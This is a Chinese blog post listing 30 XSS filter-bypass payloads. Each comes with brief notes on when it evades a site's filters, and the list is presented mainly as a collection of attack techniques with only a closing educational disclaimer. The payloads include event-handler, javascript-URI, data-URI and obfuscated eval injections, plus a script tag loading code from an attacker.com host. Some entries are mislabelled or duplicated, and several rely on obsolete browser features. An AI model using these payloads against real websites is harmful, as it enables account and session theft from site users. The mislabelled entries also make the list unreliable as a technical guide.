xss绕过方法有哪些?XSS攻击绕过过滤方法技巧分享(xss绕过宝塔)
XSS(跨站脚本攻击)绕过方法是一系列技巧,用来绕过目标网站的安全措施和过滤器,执行恶意的脚本。
文章共2,581字 · 阅读需要大约9分钟
一键AI生成摘要,助你高效阅读
问答
·
XSS(跨站脚本攻击)绕过方法是一系列技巧,用来绕过目标网站的安全措施和过滤器,执行恶意的脚本。下面整理了一些绕过方法,收藏起来~
XSS攻击绕过方法大全
1. 使用HTML实体编码
- 代码:
<script>alert('XSS')</script>
- 解释:将特殊字符转换为HTML实体,以绕过文本过滤。
- 应用:适用于过滤器仅检查特定字符而不解码实体的场景。
2. 大小写混合
- 代码:
<ScRipT>alert('XSS')</ScRiPt>
- 解释:混合使用大写和小写字母,以绕过对特定字符串的检查。
- 应用:对于不区分大小写的过滤器。
3. 利用JavaScript事件
- 代码:
<img src="x" onerror="alert('XSS')"/>
- 解释:通过HTML元素的事件处理器注入脚本。
- 应用:在标签属性中注入脚本,而不是直接使用
<script>
标签。
4. 利用URL编码
- 代码:
%3Cscript%3Ealert('XSS')%3C/script%3E
- 解释:使用URL编码绕过过滤器。
- 应用:当输入被用作URL的一部分时。
5. 使用不完整的HTML标签
- 代码:
<scr<script>ipt>alert('XSS')</script>
- 解释:通过创建不完整的标签来混淆过滤器。
- 应用:适用于过滤器尝试纠正不完整的标签时。
6. 利用编码绕过
- 代码:
\u003Cscript\u003Ealert('XSS')\u003C/script\u003E
- 解释:使用Unicode或其他编码。
- 应用:绕过对特殊字符的过滤。
7. 使用不寻常的标签
- 代码:
<xss><script>alert('XSS')</script>
- 解释:利用浏览器容错机制来解析异常标签。
- 应用:适用于简单的标签名过滤。
8. 利用CDATA
- 代码:
<![CDATA[<script>]]>alert('XSS')<!--
- 解释:利用CDATA区块绕过。
- 应用:在XML或XHTML上下文中使用。
9. 利用注释
- 代码:
<!--<script>alert('XSS')</script>-->
- 解释:在脚本中添加HTML注释来混淆过滤器。
- 应用:在处理HTML注释时的过滤器绕过。
10. 使用文档对象模型(DOM)
- 代码:
<a href="javascript:alert('XSS')">Click me</a>
- 解释:通过DOM方法来执行脚本。
- 应用:适用于过滤器不处理javascript伪协议的情况。
11. 利用HTML5功能
- 代码:
<audio src="x" onerror="alert('XSS')"/>
- 解释:利用HTML5元素的事件。
- 应用:在支持HTML5的网站中绕过过滤。
12. 使用特殊字符
- 代码:
<scr\0ipt>alert('XSS')</scr\0ipt>
- 解释:在关键词中插入特殊字符(如空字符)来绕过过滤。
- 应用:当过滤器不处理特
殊字符时。
13. 利用外部脚本
- 代码:
<script src="http://attacker.com/xss.js"></script>
- 解释:通过外部文件引入脚本。
- 应用:适用于过滤器未限制外部资源的情况。
14. 使用IFrame
- 代码:
<iframe src="javascript:alert('XSS');"></iframe>
- 解释:通过iframe执行脚本。
- 应用:适用于过滤器未限制iframe的情况。
15. 利用CSS注入
- 代码:
<div style="background:url(javascript:alert('XSS'))"></div>
- 解释:通过CSS属性执行脚本。
- 应用:适用于过滤器不充分处理样式属性的情况。
16. 使用数据URI
- 代码:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click me</a>
- 解释:利用数据URI方案执行内嵌的HTML或JavaScript代码。
- 应用:适用于过滤器未限制数据URI方案的场景。
17. 利用SVG
- 代码:
<svg onload="alert('XSS')"></svg>
- 解释:在SVG图像标签中嵌入脚本。
- 应用:当网站支持SVG并且过滤器未针对SVG标签进行足够的处理时。
18. 使用Base64编码
- 代码:
<a href="javascript:eval(atob('YWxlcnQoJ1hTUycp'));">Click me</a>
- 解释:使用Base64编码脚本,然后在页面上解码执行。
- 应用:绕过对明文脚本的过滤。
19. 利用JavaScript编码
- 代码:
<a href="javascript:eval('\u0061lert(1)')">Click me</a>
- 解释:使用JavaScript Unicode转义字符编码脚本。
- 应用:适用于过滤器未处理Unicode编码的情况。
20. 使用Object标签
- 代码:
<object data="javascript:alert('XSS');"></object>
- 解释:通过Object标签执行JavaScript代码。
- 应用:在过滤器未限制Object标签时使用。
21. 利用Flash注入
- 代码:
<embed src="xss.swf" allowscriptaccess="always"></embed>
- 解释:使用Flash文件执行脚本。
- 应用:适用于网站允许Flash内容且未正确配置安全限制时。
22. 使用VBScript
- 代码:
<script language="vbscript">alert('XSS')</script>
- 解释:在支持VBScript的浏览器中执行VBScript代码。
- 应用:针对特定浏览器,如旧版IE。
23. 使用表达式
- 代码:
<style>*{width:expression(alert('XSS'));}</style>
- 解释:在CSS中使用expression表达式执行JavaScript。
- 应用:适用于旧版IE浏览器。
24. 使用JavaScript obfuscation
- 代码:
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
- 解释:使用字符编码混淆JavaScript代码。
- 应用:绕过基于文本模式的脚本过滤。
25. 使用内联事件
- 代码:
<button onclick="alert('XSS')">Click me</button>
- 解释:在HTML元素的事件属性中嵌入JavaScript代码。
- 应用:当过滤器未对HTML属性进行足够的处理时。
26. 使用window.location
- 代码:
<script>window.location='javascript:alert("XSS")'</script>
- 解释:通过修改window.location执行JavaScript代码。
- 应用:适用于过滤器未限制对window.location的修改。
27. 使用document.write
- 代码:
<script>document.write('<script>alert("XSS")<\/script>')</script>
- 解释:使用document.write动态写入脚本。
- 应用:在页面加载时执行动态生成的脚本。
28. 使用iframe与JavaScript结合
- 代码:
<iframe src="javascript:alert('XSS');"></iframe>
解释:在iframe的src属性中执行JavaScript。
- 应用:适用于过滤器未限制iframe的src属性。
29. 使用HTML注入
- 代码:
<div>任意内容<script>alert('XSS')</script></div>
- 解释:在HTML内容中注入脚本。
- 应用:适用于过滤器未限制内联脚本的情况。
30. 使用字符拼接
- 代码:
<script>a='alert("';b='XSS")';eval(a+b);</script>
- 解释:通过拼接字符串来构造并执行脚本。
- 应用:绕过脚本内容检测,特别是在脚本内容分段检查的情况下。
每种方法的有效性取决于目标网站的具体安全措施和过滤器配置。XSS攻击是网络安全领域的一个重要问题,开发者应深入了解这些攻击方式,以便更好地防护和加固自己的网站。同时,强调一点,这些信息仅用于教育和安全防护目的,未经授权使用这些技术攻击网站是非法的。
网络安全学习路线
更多推荐
已为社区贡献2条内容
所有评论(0)